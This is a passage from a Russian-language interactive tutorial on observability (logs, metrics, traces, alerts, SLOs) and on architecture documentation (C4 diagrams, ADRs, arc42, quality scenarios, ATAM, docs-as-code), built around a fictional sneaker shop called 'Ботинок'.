| Уровень | Когда писать | Пример |
|---|---|---|
| ERROR | Операция не удалась, и пользователь это почувствует | «списание не прошло: таймаут 15 с» |
| WARN | Что-то пошло не по плану, но выкрутились | «пул соединений исчерпан, ждём» |
| INFO | Важные шаги бизнес-процесса | «заказ оплачен» |
| DEBUG | Подробности для разработчика. В бою обычно выключены | «тело ответа банка: …» |
trace_id. Третье: никогда не пишите в логи пароли, токены, номера карт и персональные данные. Логи читают многие, хранятся они долго, и утечка из логов — классика.глава 5 · метрики приборная панель: что мерить и как не обмануться
Метрика — это число, которое снимают регулярно, например раз в 15 секунд: «сейчас 70 оплат в секунду». Из таких чисел получается график. Метрики дешёвые: одно число вместо тысяч строк логов. Поэтому их хранят месяцами и именно на них вешают алерты.
Что мерить: три готовых набора
RED — для сервисов
Rate — запросов в секунду.
Errors — доля ошибочных.
Duration — сколько длится ответ (перцентили).
Три метрики на каждый сервис и на каждую важную ручку. Этого хватает, чтобы заметить почти любую проблему. В истории Анны именно RED-таблица показала, что красное — у оплаты.
USE — для ресурсов
Utilization — насколько занят.
Saturation — сколько ждёт в очереди.
Errors — отказы ресурса.
Для процессора, памяти, диска, пулов соединений. Насыщение важнее загрузки: 100 % загрузки без очереди — это нормально. Пул Анны был как раз насыщен: 10 из 10 занято и 184 в очереди.
Четыре золотых сигнала
Задержка, трафик, ошибки, насыщение. Объединение двух предыдущих наборов — то, что Google рекомендует как минимум для любой системы.
Интерактив: почему среднее врёт
Ниже 100 запросов. Зелёные отвечают за 0,1–0,2 секунды, красные — за 5–7 секунд. Двигайте ползунок и следите: среднее почти не меняется, а людям уже плохо. Перцентиль (например, p99) — это время, быстрее которого ответили 99 % запросов. Он показывает хвост, который среднее прячет.
глава 6 · трассы что такое трасса, спан и «узкое место»
Слово «трасса» звучит мутно, а вещь простая. В истории Анны именно трасса за один взгляд показала, куда ушли 10 секунд. Разберём её по частям.
Три слова, и всё станет понятно
Спан (span)
Одна строчка в чеке. Кусок работы с началом, концом и именем: «запрос к базе», «вызов сервиса доставки», «расчёт скидки». У спана есть длительность и могут быть пометки: какой SQL, какой код ответа, сколько строк.
Трасса (trace)
Весь чек целиком. Все спаны одного запроса, связанные общим идентификатором и вложенные друг в друга: вызов сервиса содержит внутри себя запрос к базе.
Узкое место
Строчка, съевшая больше всего времени. Именно строчка, а не сервис: внутри сервиса, который «работал 3 секунды», обычно оказывается один запрос, который работал 2,9 из них.
Интерактив: трасса Анны, спан за спаном
Это настоящий «водопад» — так выглядит трасса в Jaeger или Grafana Tempo. Каждая полоса — спан, её длина — время, отступ — вложенность. Нажимайте на строки: увидите, что записано внутри спана. Найдите, где ушло время.
Как трасса собирается — по шагам
Жмите «Дальше»: видно, откуда берётся каждая строчка чека и что их связывает.
Тренировка: найдите узкое место сами
Три новых случая. Каждый прямоугольник — участок (спан), длина пропорциональна времени. Выберите случай и нажмите на участок, который считаете причиной.
глава 7 · алерты пожарная сигнализация, которой верят
Алерт (оповещение) — это правило над метриками: «если условие держится N минут — позвать человека». В истории Анны алерт разбудил дежурного за восемь минут до её жалобы.
Плохие алерты
- «Загрузка процессора выше 80 %» — и что? Может, всё работает отлично.
- «Узел перезапустился» — он и должен перезапускаться, это самовосстановление.
- «В логе появилось слово ERROR» — их там сотни в день.
- Алерты, на которые никто не реагирует. Через месяц их перестают читать, а вместе с ними и настоящие.
Хорошие алерты
- «Доля успешных оформлений заказа ниже 99 % пять минут подряд» — пользователю плохо прямо сейчас.
- «Бюджет ошибок расходуется в 10 раз быстрее нормы» — к концу месяца SLO будет нарушен.
- «Возраст самого старого необработанного сообщения больше 10 минут» — очередь встала.
- Каждый алерт отвечает на вопросы: кому плохо, что делать и почему нельзя подождать до утра.
Задание: будить, на дашборд или удалить?
Вы — дежурный. Решите судьбу каждого правила. Решено 0 из 0.
глава 8 · SLO обещание и бюджет ошибок
Анна ждала 10 секунд. Это плохо? А 2 секунды? А если такое случается с одним заказом из тысячи? Чтобы не спорить «на ощущениях», команда заранее записывает обещание в цифрах.
Три похожих слова: SLI, SLO, SLA
Их постоянно путают. Нажмите на строку, чтобы раскрыть пояснение.
Интерактив: бюджет ошибок и решение «катить или нет»
Выберите обещание (SLO) и крутите долю ошибок. Считаем, что доля ошибок держалась такой весь месяц, а в день приходит 1 млн запросов. Чёрная риска на полосе — сколько бюджета «нормально» потратить к сегодняшнему дню.
Посчитайте в минутах и запросах
SLO — это обещание, а бюджет ошибок — разрешённое отклонение от него. Пока бюджет не израсходован, можно рисковать и катить быстро; кончился — все силы на надёжность. Посчитайте свой.
глава 9 · инструменты кто за что отвечает в настоящем стеке
В истории Анны дежурный пользовался несколькими программами: одна прислала алерт, вторая нарисовала дашборд, третья показала трассу, четвёртая нашла логи. Названий много, и они звучат как взаимозаменяемые. Это не так: у каждого своя работа. Нажмите — что делает, когда нужен и чем заменяется.
глава 10 · проверь себя наблюдаемость
Решено 0 из 0.
Архитектура, которую не записали, живёт ровно до ухода того, кто её придумал. Этот раздел — одна история. В магазин кроссовок «Ботинок» пришёл новичок Глеб и на второй день спросил: «А почему у нас Kafka?» Никто не смог ответить. Мы пройдём путь от этого неловкого молчания до документации, которую действительно читают: карты системы в четырёх масштабах (C4), записи решений (ADR), шаблон arc42, требования к качеству в числах и тесты, которые сами следят, чтобы код не разошёлся со схемой.
зачем это зачем записывать архитектуру
карта раздела одна история, четырнадцать глав
Главы идут по порядку: каждая опирается на предыдущую. Нажмите на главу, чтобы перейти к ней.
глава 1 · завязка «а почему у нас Kafka?» — вопрос, на который никто не ответил
Сначала — о чём вообще речь.
История
Дальше возможны два исхода.
Исход 1: «раз никто не знает — переделаем»
Команда тратит два месяца на переезд с Kafka на RabbitMQ. В день запуска отдел аналитики сообщает, что больше не может пересчитать отчёт за прошлый месяц: историю событий теперь негде перечитать. Выясняется, что Kafka выбирали именно ради этого. Ещё месяц уходит на откат.
Исход 2: пять минут чтения
Кто-то открывает в репозитории файл docs/decisions/0007-kafka-dlya-sobytiy-zakazov.md. Там написано: аналитике нужно перечитывать события за 30 дней; складу, уведомлениям и аналитике нужно читать один поток независимо. Спор закрыт. Или открыт заново — но осознанно, с новыми фактами.
Четыре работы документации
🧠 Память проекта
Люди уходят, память команды уходит вместе с ними. Записанное «почему» остаётся. Решения перестают обсуждать по кругу каждые полгода.
🧭 Онбординг
Новичок за день понимает, где что лежит, вместо месяца расспросов. Каждый рассказывает свою версию — документ одну.
🤝 Согласование
Бизнес, разработка, эксплуатация и безопасность смотрят на одну картинку и спорят о решении, а не о том, как система устроена.
🔎 Аудит
Служба безопасности, регулятор, внешний аудитор спрашивают: где персональные данные, кто к ним ходит, кто и когда принял решение. Ответ находится за минуты.
Как не надо: документация, которую никто не читает
Документацию часто ругают справедливо. Вот пять её болезней. Почти все лечатся одним правилом: меньше, но правда.
Кладбище в вики
Пятьсот страниц, последняя правка два года назад. Никто не знает, что из этого правда. Читать бесполезно, удалить страшно.
Картинка без легенды
Квадратики, стрелки, три цвета. Что значит синий, что значит пунктир — каждый понимает по-своему.
Документ для галочки
Восемьдесят страниц шаблона ради сдачи этапа. Написан один раз, открыт один раз — на приёмке.
Пересказ кода
Описание каждого класса и метода. Устаревает с первым коммитом. На вопрос «почему» не отвечает вовсе.
Всё в голове у Веры
Самая распространённая форма. Работает идеально — до отпуска, болезни или увольнения Веры.
Как надо
Пишем для конкретного читателя. Храним рядом с кодом и правим в тех же пул-реквестах. Записываем почему, а не только что. То, что можно проверить автоматически, проверяем автоматически.
Интерактив: первая неделя Глеба
У Глеба за неделю появилось шесть вопросов. Проживите эту неделю дважды: в «Ботинке», где всё держится на памяти людей, и в «Ботинке» с документацией. Нажимайте «Следующий вопрос» и следите за счётчиками.
глава 2 · читатели для кого пишем: одна местность — разные карты
Отсюда главное правило: сначала читатель, потом документ. Для каждого документа ответьте на три вопроса. Кто его откроет? С каким вопросом? Сколько минут у него есть? Бизнес-заказчику нужна одна страница на пять минут. Разработчику — схема компонентов и правила, которые нельзя нарушать. Дежурному ночью — инструкция «что делать, если…», а не история решений.
Интерактив: кто что читает
Выберите читателя. В таблице подсветится его столбец: ●● — читает внимательно, ● — заглядывает при необходимости, — — не нужно. Ниже — его главный вопрос и сколько времени он готов потратить.
глава 3 · C4 карта системы в четырёх масштабах
1 · Контекст 🌍
Страна. Что это за система, кто ей пользуется, с какими внешними системами связана. Технологий нет. Читают все, включая бизнес.
2 · Контейнеры 🏙
Город. Из каких отдельно запускаемых частей состоит система: приложения, базы, брокеры. Какие технологии, по каким протоколам общаются. Читают разработчики, эксплуатация, безопасность.
3 · Компоненты 🏘
Квартал. Из каких крупных частей состоит один контейнер и кто за что отвечает. Читают разработчики этого контейнера.
4 · Код 🏠
Дом. Классы и интерфейсы одного компонента. Обычно генерируется средой разработки. Вручную рисуют редко и только самое важное.
Интерактив: зум по «Ботинку»
Перед вами одна система — магазин «Ботинок» — на схеме контекста. Элементы со значком 🔍 можно открыть: нажмите на «Ботинок», и вы «провалитесь» на уровень контейнеров. Там откройте «Сервис заказов», потом «Оформление заказа». Вернуться можно по «хлебным крошкам» сверху. Любой другой элемент покажет свою карточку справа внизу.
Затем переключите схему в режим «С ошибками нотации». Появятся красные номера — это типичные ошибки, которые встречаются почти в каждой компании. Нажимайте на номера (или на строки под схемой) и читайте, что не так и как исправить. Ошибок всего десять, на всех четырёх уровнях.
глава 4 · нотация правила хорошей схемы и ещё три вида схем
C4 не требует особых фигур или цветов: рисовать можно чем угодно. Зато у неё есть короткий список правил, по которому любую схему можно проверить за минуту. Все десять ошибок из зума нарушают какое-то из них.
Схема целиком
• Заголовок с типом и границей: «[Схема контейнеров] «Ботинок»».
• Легенда: что значат фигуры, цвета, пунктир.
• Сокращения понятны всем или расшифрованы в легенде.
• Дата или версия — чтобы было видно, насколько схема свежая.
Каждый элемент
• Имя.
• Тип: человек, программная система, контейнер, компонент.
• Технология — обязательно у контейнеров и компонентов.
• Описание в одно предложение: за что отвечает.
Каждая стрелка
• Направлена в одну сторону.
• Подписана глаголом по направлению стрелки: «Публикует события о заказах».
• Между контейнерами — ещё и протокол: [JSON/HTTPS], [SQL/JDBC], [Kafka].
• Цвет не единственный носитель смысла: схему распечатают в чёрно-белом, её увидит дальтоник.
Как выглядит хороший элемент и хорошая стрелка
Ещё три вида схем
Кроме четырёх уровней в C4 есть три дополнительные схемы. Выберите, чтобы посмотреть пример для «Ботинка».
Динамическая схема вживую: оформление заказа
Динамическая схема показывает те же контейнеры, что и схема уровня 2, но только участников одного сценария, а стрелки пронумерованы по порядку. Пройдите сценарий по шагам.
Типичные ошибки — одной строкой
Нажмите на пункт, чтобы раскрыть.
Задание: на каком уровне это рисовать?
Разложите элементы «Ботинка» по схемам. Решено 0 из 0.
глава 5 · диаграммы как код схема, которую правят в пул-реквесте
Помните схему на доске, которую Борис рисовал сорок минут и забыл про уведомления? Картинка в графическом редакторе живёт так же: её рисует один человек, правит только он, а через полгода файл с исходником потерян, и остаётся PNG-снимок, который нельзя изменить. Схема-текст решает сразу четыре проблемы.
История
Git помнит, кто и когда добавил стрелку и в каком пул-реквесте.
Ревью
Изменение схемы видно построчно: «+ сервис рекомендаций, + стрелка». Его обсуждают вместе с кодом.
Одна правда
В Structurizr элемент описан один раз, а схемы всех уровней строятся из этого описания.
Без мыши
Раскладку делает программа. Никто не тратит час, двигая квадратики.
Три инструмента на одном примере
Ниже одна и та же схема контейнеров «Ботинка» на трёх языках. Под кодом разобраны главные строки.
Что видно на ревью
Борис добавляет сервис рекомендаций. В пул-реквесте с кодом сервиса он меняет и модель. Вот что увидят ревьюеры:
# docs/diagrams/workspace.dsl orders = container "Сервис заказов" "Принимает заказы, списывает оплату" "Java, Spring Boot" + recs = container "Сервис рекомендаций" "Подбирает «вам может понравиться»" "Python" ... spa -> catalog "Получает товары и цены" "JSON/HTTPS" + spa -> recs "Получает рекомендации" "JSON/HTTPS" + recs -> kafka "Читает события о покупках" "Kafka"
Три строки. Схема контейнеров, динамическая схема и схема развёртывания обновятся сами. Глеб на ревью спрашивает: «А если рекомендации тормозят, страница ждёт?» — и этот вопрос задаётся до выкатки, а не после пятничной аварии.
Задание: какой инструмент взять
Решено 0 из 0.
глава 6 · схемы аналитика какая диаграмма ответит на вопрос
C4 отвечает на вопрос «из чего состоит система». Но у аналитика вопросов больше: в каком порядке сервисы вызывают друг друга, какие статусы бывают у заказа, какие таблицы связаны. Для этого есть другие схемы.
Вопрос → диаграмма
| Если вопрос звучит так… | …рисуйте | Пример для «Ботинка» |
|---|---|---|
| Кто кого вызывает и в каком порядке в одном сценарии? Что вернётся при таймауте? | Последовательностей (sequence) | Оформление заказа: браузер → сервис заказов → банк → Kafka |
| Какие шаги у процесса, где развилки, что идёт параллельно, кто что делает? | Деятельности (activity) или BPMN для бизнес-процессов | Возврат товара: проверка, развилка «брак / не подошёл размер», возврат денег |
| Какие статусы бывают у объекта и какие переходы разрешены? | Состояний (state machine) | Заказ: новый → оплачен → отправлен → доставлен; новый → отменён |
| Где что запущено: серверы, зоны, сколько копий? | Развёртывания (deployment) — или C4 deployment | Кластер Kubernetes в двух зонах, управляемый PostgreSQL |
| Какие сущности храним, какие у них поля, как связаны «один ко многим»? | ER-диаграмма | Покупатель 1 — N Заказ 1 — N Позиция заказа N — 1 Товар |
| Из каких частей система и с кем связана? | C4: контекст и контейнеры | Глава 3 |
| Как устроены классы внутри модуля? | Классов (class) — лучше сгенерировать из кода | C4 уровень 4 из главы 3 |
Как они выглядят в тексте
Все примеры — в виде кода Mermaid или PlantUML: так их можно хранить рядом со спецификацией. Выберите вид схемы.
Главная схема аналитика — последовательности. Пройдите её
Оформление заказа Анны. Стрелки идут сверху вниз по времени. Нажимайте «Дальше» — под схемой появится пояснение шага и что будет, если на нём всё сломается. Такая схема в постановке снимает половину вопросов разработчика.
Задание: какая диаграмма ответит на вопрос?
Решено 0 из 0.
глава 7 · ADR одно решение — одна страница
Вернёмся к вопросу Глеба. Схемы C4 отвечают, что есть в системе. Но ни одна схема не ответит, почему там Kafka, а не RabbitMQ. Для этого нужна запись решения.
Когда писать ADR, а когда нет
Пишем
Решение архитектурное: его дорого отменить, и оно ограничивает будущие решения. Выбор брокера сообщений. «У каждого сервиса своя база». Синхронное или асинхронное взаимодействие. Способ аутентификации. Формат ошибок во всех API. Отказ от очевидного варианта — тоже решение, и его тоже записывают.
Не пишем
Имя переменной, версия библиотеки, стиль кода, выбор между двумя равноценными способами сделать задачу на полдня. То, что откатывается за час и ничего не запрещает, — не архитектура. Если на каждую мелочь писать ADR, журнал превратится в кладбище из главы 1.
Пять правил ADR
1. Одно решение — одна запись
Не «архитектура сервиса заказов», а «брокер для событий о заказах». Тогда запись можно найти, сослаться на неё и заменить.
2. Принятую запись не переписывают
Решение поменялось — пишут новую запись. Старая получает статус «заменено ADR-0023». История «почему мы передумали» ценнее последней версии.
3. Номер навсегда
ADR-0007 — это всегда про Kafka. Номера не переиспользуют, даже у отклонённых записей.
4. В репозитории, рядом с кодом
Папка docs/decisions/, файл 0007-kafka-dlya-sobytiy-zakazov.md. Правится через пул-реквест, ревью — как у кода. Решение и код, который его реализует, попадают в один пул-реквест.
5. Коротко и честно о цене
Раздел «Последствия» с минусами — главный. Запись без минусов — это реклама, а не решение.
Инструменты
Хватит текстового редактора. Есть и помощники: adr-tools (Нэт Прайс) создаёт файлы с номерами и связывает «заменяет / заменено»; Log4brains собирает журнал в сайт.
Статусы записи
Статусы взяты из шаблона MADR (о нём ниже). У каждой записи один статус в каждый момент времени.
Шаблон MADR
--- status: proposed | rejected | accepted | deprecated | superseded by ADR-0123 date: 2024-09-12 decision-makers: кто принимал решение consulted: с кем советовались (двусторонний разговор) informed: кого известили (в одну сторону) --- # Короткое название: проблема и выбранное решение ## Context and Problem Statement ← контекст и проблема (обязательно) ## Decision Drivers ← драйверы: по каким критериям выбираем ## Considered Options ← рассмотренные варианты (обязательно) ## Decision Outcome ← что выбрали и почему (обязательно) ### Consequences ← последствия: «хорошо, потому что…», «плохо, потому что…» ### Confirmation ← как проверим, что решение соблюдается ## Pros and Cons of the Options ← плюсы и минусы каждого варианта ## More Information ← ссылки, связанные решения, когда пересмотреть
Заголовки разделов команды обычно переводят на свой язык. Главное — чтобы у всех записей была одна структура: тогда их читают быстро.
Та самая запись: ADR-0007
Вот что Глеб мог бы прочитать в среду вместо 340 сообщений чата.
--- status: accepted date: 2024-09-12 decision-makers: Вера (архитектор), Борис (техлид команды заказов) consulted: Олег (аналитик), Ирина (эксплуатация) informed: команды склада, уведомлений и аналитики --- # ADR-0007. Брокер для событий о заказах — Apache Kafka (свой кластер) ## Контекст и проблема Сервис заказов сам вызывает склад, уведомления и аналитику по HTTP, по очереди. Когда склад тормозит, заказ оформляется 4 секунды, а когда падают уведомления — заказ не создаётся вовсе. Нужен посредник: заказ публикуется один раз, а читают его все, кому нужно. ## Драйверы решения * Аналитика перечитывает события за последние 30 дней, когда меняет расчёт отчёта. * Три потребителя читают один поток независимо, каждый в своём темпе; через год ждём ещё два. * Порядок событий одного заказа важен: «оплачен» не раньше «создан». * Пик — 400 событий в секунду в распродажу; рост втрое за два года. * В эксплуатации два человека. ## Рассмотренные варианты * Apache Kafka, свой кластер * RabbitMQ, классические очереди * Таблица событий в PostgreSQL, которую опрашивают потребители ## Решение Выбрали Apache Kafka. Она хранит события заданный срок независимо от того, прочитали их или нет, и у каждого потребителя своя позиция чтения. Ключ сообщения — номер заказа: события одного заказа идут по порядку. ### Последствия * Хорошо: аналитика перечитывает историю сама, без выгрузок. * Хорошо: новый потребитель подключается без правок сервиса заказов. * Плохо: кластер Kafka — новая сложная система для двух человек эксплуатации. * Плохо: нет отложенной доставки — для писем «через час после заказа» нужен отдельный механизм. * Плохо: полгода команда учится (партиции, группы потребителей, смещения). ### Подтверждение Нагрузочный тест раз в квартал: 1 200 событий/с, задержка доставки p99 < 1 с. Ответственный — Борис. ## Плюсы и минусы вариантов ### RabbitMQ, классические очереди * Хорошо: проще в эксплуатации, гибкая маршрутизация, есть опыт в команде. * Плохо: сообщение удаляется после подтверждения. Для перечитывания за 30 дней нужно отдельное хранилище. Потоки RabbitMQ Streams умеют перечитывать, но опыта с ними у команды нет. ### Таблица в PostgreSQL * Хорошо: ничего нового, транзакция вместе с заказом. * Плохо: при 400 событиях/с и пяти потребителях опрос нагружает основную базу. ## Дополнительно Связано: ADR-0004 (у каждого сервиса своя база). Пересмотреть: если эксплуатация уменьшится или аналитика откажется от перечитывания.
Интерактив: соберите ADR из фраз
Перед вами фразы из обсуждения в чате. Разложите их по разделам записи. Нажмите на фразу, чтобы выбрать её, потом «+ сюда» у нужного раздела. Ошиблись — нажмите на фразу в разделе, и она вернётся. Некоторым фразам в ADR не место вовсе: для них есть корзина «Не для ADR».
Через год: журнал решений
Прошёл год. Пройдите по шагам, как менялся журнал «Ботинка». Следите за статусами и связями: решения не живут поодиночке.
глава 8 · arc42 двенадцать полок для документа архитектуры
Схемы C4 есть, журнал ADR есть. Но куда положить ограничения («данные только в России»), требования к качеству, риски, словарь терминов? Чтобы не изобретать структуру заново, берут готовый шаблон.
Интерактив: навигатор по разделам
Нажмите на раздел: что туда писать, для кого, пример для «Ботинка» и частая ошибка. Кнопка «★ Минимальная версия» подсветит разделы, с которых стоит начать, если времени мало.
Задание: на какую полку?
Решено 0 из 0.
глава 9 · качество атрибуты качества и сценарии: как записать «хорошо»
Глеб задал ещё один вопрос: «Какое время ответа считается нормальным для оформления заказа?» Борис сказал «секунда», Олег — «быстро», Вера когда-то говорила «как у конкурентов». Три ответа — значит, ответа нет. Эта глава про то, как записать «хорошо» так, чтобы его можно было проверить.
Стандарт ISO/IEC 25010:2023 — коротко
Чтобы не забыть ни одно свойство, берут готовый список из международного стандарта. Текущая редакция вышла в 2023 году. В ней девять характеристик качества продукта, у каждой — подхарактеристики. В разделе «Зачем архитектура» те же свойства переведены на язык постановок и разобраны подробно.
Функциональная пригодность
Полнота, корректность, уместность функций. «Скидка считается правильно».
Производительность
Временные характеристики, использование ресурсов, ёмкость. «p95 оформления ≤ 800 мс».
Совместимость
Сосуществование с другими системами, взаимодействие с ними. «Подключаемся к API банка».
Способность к взаимодействию
Бывшее «удобство использования»: обучаемость, защита от ошибок пользователя, инклюзивность и другое. «Форма не даёт ввести неверный индекс».
Надёжность
Безотказность, доступность, отказоустойчивость, восстанавливаемость. «99,9 % за месяц».
Защищённость
Конфиденциальность, целостность, неотказуемость, подотчётность, подлинность, стойкость к атакам. «Чужой заказ не выдаётся».
Сопровождаемость
Модульность, повторное использование, анализируемость, изменяемость, тестируемость. «Новый способ оплаты — за 10 дней».
Гибкость
Бывшая «переносимость»: адаптируемость, масштабируемость, устанавливаемость, заменяемость. «×5 нагрузки добавлением узлов».
Безопасность для людей
Новая характеристика (safety): система не создаёт угрозы людям, имуществу, среде. Важна для медицины, транспорта, промышленности.
Сценарий качества: шесть частей
Интерактив: конструктор сценария качества
Выберите атрибут и соберите сценарий из шести частей. В каждой строке три формулировки: расплывчатая, полусырая и измеримая. Шкала покажет, насколько сценарий можно проверить, а под строкой появится подсказка, что не так с выбором.
глава 10 · НФТ как аналитику писать измеримые нефункциональные требования
Было → стало
Анатомия хорошего НФТ
Почти любое измеримое требование к производительности или доступности собирается из одних и тех же кусочков:
SMART для требований
S — конкретное
Specific: какая операция, для кого. Не «система», а «оформление заказа».
M — измеримое
Measurable: число, единица, перцентиль. «p95 ≤ 800 мс», а не «быстро».
A — достижимое
Achievable: 99,999 % на одной базе в одной зоне не бывает. Нереальное требование все молча игнорируют.
R — значимое
Relevant: зачем это бизнесу. «Каждая секунда ожидания снижает конверсию» — повод; «хочется красивое число» — нет.
T — ограниченное во времени
Time-bound: за какой период меряем («за месяц», «окно 15 минут») и к какому сроку нужно («к распродаже»).
Решение ≠ требование
«Использовать Kubernetes», «Добавить Redis» — это не НФТ, а решения. Требование говорит, какой результат нужен; способ выбирает архитектор и записывает в ADR.
Типовой набор НФТ
Чек-лист, чтобы ничего не забыть в постановке. Нажмите на строку, чтобы раскрыть подсказку.
Тренажёр: переформулируйте НФТ
Слева — требование, как его написал заказчик. Выберите лучшую формулировку. Решено 0 из 0.
Проверка на измеримость
Напишите своё требование — или возьмите пример — и нажмите «Проверить». Проверка простая: она ищет расплывчатые слова, числа с единицами, перцентиль, нагрузку, объём и способ замера. Это не заменяет голову, но ловит типичные дыры.
глава 11 · приоритеты и оценка дерево полезности и ATAM: что обсуждать первым
Олег собрал сценарии качества. Их оказалось двадцать три. Все важные, на всё не хватит ни времени, ни денег. Нужен способ решить, о чём говорить в первую очередь.
Интерактив: расставьте приоритеты
Семь сценариев «Ботинка». Под каждым — что Олег узнал у бизнеса и у разработчиков. Поставьте важность и сложность. Справа сценарии лягут на матрицу, а ниже выстроятся в очередь обсуждения. Потом сравните свою оценку с оценкой команды.
ATAM — большая оценка архитектуры
Что получается на выходе ATAM
Риск
Решение, которое может помешать выполнить сценарий. «Одна база PostgreSQL принимает все записи заказов — при 300 заказах в минуту она станет узким местом».
Не-риск
Решение, которое проверили, и оно выдерживает. «Каталог отдаётся из кеша; нагрузочный тест: 2 000 запросов/с с запасом ×5». Записывают, чтобы не проверять заново.
Точка чувствительности
(sensitivity point) Параметр, от которого сильно зависит один атрибут. «Число партиций темы заказов в Kafka ограничивает, сколько обработчиков работает параллельно».
Точка компромисса
(tradeoff point) Параметр, который влияет на несколько атрибутов в разные стороны. «Синхронная репликация базы во вторую зону: заказы не теряются, но каждая запись дольше на путь до второй зоны».
Ещё один итог — темы рисков (risk themes): общие причины нескольких рисков. Например, «у команды нет опыта эксплуатации распределённых систем» — из этого растут три риска сразу, и лечить надо причину.
Девять шагов ATAM
Нажмите на шаг, чтобы раскрыть.
Облегчённые ревью
Ревью на два часа
Архитектор показывает схему контейнеров и пять главных сценариев качества. Двое-трое ревьюеров идут по чек-листу. Итог — список рисков с владельцами и сроками.
Risk storming
Приём Саймона Брауна: каждый участник сам отмечает риски на схеме C4 стикерами разного цвета (высокий, средний, низкий). Потом риски сводят и обсуждают расхождения — где один видит красное, а другой зелёное.
Ревью ADR в пул-реквесте
Каждая запись в статусе «предложено» — это маленькое ревью: комментарии, вопросы, срок решения. Дёшево и постоянно.
Чек-лист облегчённого ревью
☐ Есть схемы контекста и контейнеров, они совпадают с тем, что запущено.
☐ Для каждого внешнего вызова известны таймаут, повторы и поведение при отказе.
☐ У каждого хранилища понятен владелец; чужие базы напрямую не читают.
☐ Главные сценарии качества записаны числами, у каждого есть способ проверки.
☐ Понятно, что будет при отказе одной зоны или одного узла.
☐ Персональные данные: где лежат, кто читает, как маскируются в логах.
☐ Есть трассировка сквозного запроса и оповещения по главным операциям.
☐ Важные решения записаны в ADR, у спорных есть «пересмотреть, если…».
☐ Правила зависимостей проверяются в сборке.
☐ Реестр рисков и долга актуален: у каждой записи есть владелец.
Задание: что это — риск, не-риск, точка чувствительности или компромисса?
Решено 0 из 0.
глава 12 · самопроверка документация, которая проверяет себя сама
В ADR-0004 написано: «у каждого модуля свои данные, в чужие таблицы не ходим». Прошло полгода. Борис торопился к распродаже, и модуль платежей начал сам менять статус заказа прямо в таблице заказов. Никто не заметил: запись в ADR не умеет кричать. А через месяц миграция схемы заказов сломала платежи.
Какие бывают
🧱 Структурные — архитектурные тесты
Проверяют зависимости в коде: слои не перепрыгивают, модули не лезут в чужие внутренности, нет циклов. ArchUnit (Java), ArchUnitNET и NetArchTest (.NET), dependency-cruiser (JavaScript и TypeScript), import-linter (Python), проверка модулей в Spring Modulith. Запускаются как обычные тесты.
⏱ Операционные — в конвейере
Нагрузочный тест с порогом: «p95 оформления ≤ 800 мс при 300 заказах в минуту», иначе сборка красная. Сюда же размер образа, время старта, время сборки.
📈 Непрерывные — в продакшене
Цели уровня обслуживания (SLO) и бюджет ошибок в мониторинге: «доля успешных оформлений за 30 дней ≥ 99,9 %». Проверяются не при сборке, а всё время.
🔐 Защищённость
Сканирование зависимостей на известные уязвимости, поиск секретов в коде, проверка заголовков безопасности. Падает сборка — а не репутация.
Как это выглядит в коде
Выберите инструмент. Во всех примерах — правила «Ботинка»: слои, границы модулей, отсутствие циклов, порог производительности.
Интерактив: конвейер, который ловит нарушения
Это сборка сервиса заказов. Слева — модули и зависимости между ними. Справа — этапы конвейера. Выберите изменение, которое прислал Борис, и нажмите «▶ Запустить сборку». Правила можно отключать переключателями — и посмотреть, что будет, если датчика нет.
глава 13 · где живут документы docs-as-code, дизайн-документы и реестры долга и рисков
Как это устроено в «Ботинке»
botinok/ ├── services/ … код сервисов ├── docs/ │ ├── arc42/ │ │ ├── 01-vvedenie-i-tseli.md │ │ ├── 03-kontekst.md │ │ └── … │ ├── decisions/ журнал ADR │ │ ├── 0004-svoya-baza-u-kazhdogo-servisa.md │ │ ├── 0007-kafka-dlya-sobytiy-zakazov.md │ │ └── 0023-upravlyaemaya-kafka.md │ ├── diagrams/workspace.dsl модель C4 (глава 5) │ ├── rfc/0012-vozvraty.md дизайн-документы │ ├── risks.md реестр рисков │ └── tech-debt.md реестр технического долга ├── mkdocs.yml настройки сайта документации └── .github/workflows/docs.yml проверка и сборка документации
Проверка документации в конвейере выглядит так же, как проверка кода. Пример для GitHub Actions (номера версий действий сверяйте на момент внедрения):
name: docs on: pull_request: paths: ["docs/**", "mkdocs.yml"] # запускать, только если менялась документация jobs: docs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: DavidAnson/markdownlint-cli2-action@v16 # правила оформления Markdown with: { globs: "docs/**/*.md" } - uses: lycheeverse/lychee-action@v2 # битые ссылки внутри docs/ with: { args: "--offline docs" } - run: pip install mkdocs && mkdocs build --strict # сборка сайта; предупреждение = ошибка
Ревью как у кода
Меняется архитектура — в том же пул-реквесте меняются workspace.dsl и ADR. Шаблон пул-реквеста спрашивает: «Затронута ли архитектура? Обновлены ли схемы?»
Сайт из репозитория
MkDocs, Docusaurus, Antora (для AsciiDoc) или TechDocs в Backstage собирают из Markdown сайт с поиском. Для arc42 на AsciiDoc есть готовая сборка docToolchain.
Готово = задокументировано
В «определение готовности» задачи входит: новый контейнер есть на схеме, новая интеграция — в разделе контекста, спорное решение — в ADR.
RFC и дизайн-документ: подумать до того, как строить
Олег пишет RFC «Возвраты товаров». Пройдите путь документа от черновика до решения.
Шаблон дизайн-документа
# RFC-0012. Возвраты товаров Статус: черновик | на ревью | принят | отклонён | реализован Автор: Олег · Ревьюеры: Борис, Ирина, Глеб · Комментарии до: 14 ноября 1. Контекст и рамки что происходит сейчас и почему надо менять 2. Цели и не-цели что сделаем; что сознательно НЕ делаем 3. Предлагаемое решение схема контейнеров C4, сценарии, API, данные 4. Рассмотренные альтернативы и почему от них отказались 5. Сквозные вопросы защищённость, персональные данные, наблюдаемость, миграция 6. Требования к качеству сценарии качества с числами 7. Риски и открытые вопросы 8. План внедрения и отката 9. Будущие ADR какие решения этот документ зафиксирует
Реестр технического долга
| № | Долг | Проценты: во что обходится | Тело: сколько исправлять | Как появился | Владелец · пересмотр |
|---|---|---|---|---|---|
| TD-03 | Сервис уведомлений читает базу заказов напрямую | Каждая миграция схемы заказов ломает письма: ~2 дня в месяц | 5 дней: перейти на события из Kafka | Осознанно, к распродаже 2024 | Борис · 1 декабря |
| TD-05 | Нет сквозной трассировки | Причину сбоя ищут 3 часа вместо 15 минут | 3 недели на шесть сервисов | Случайно: «потом добавим» | Ирина · 15 ноября |
| TD-07 | Цены хранятся в числах с плавающей точкой | Копейки расходятся в отчётах, ручная сверка ~4 часа в месяц | 8 дней: миграция в целые копейки | Случайно, первая версия | Олег · 1 января |
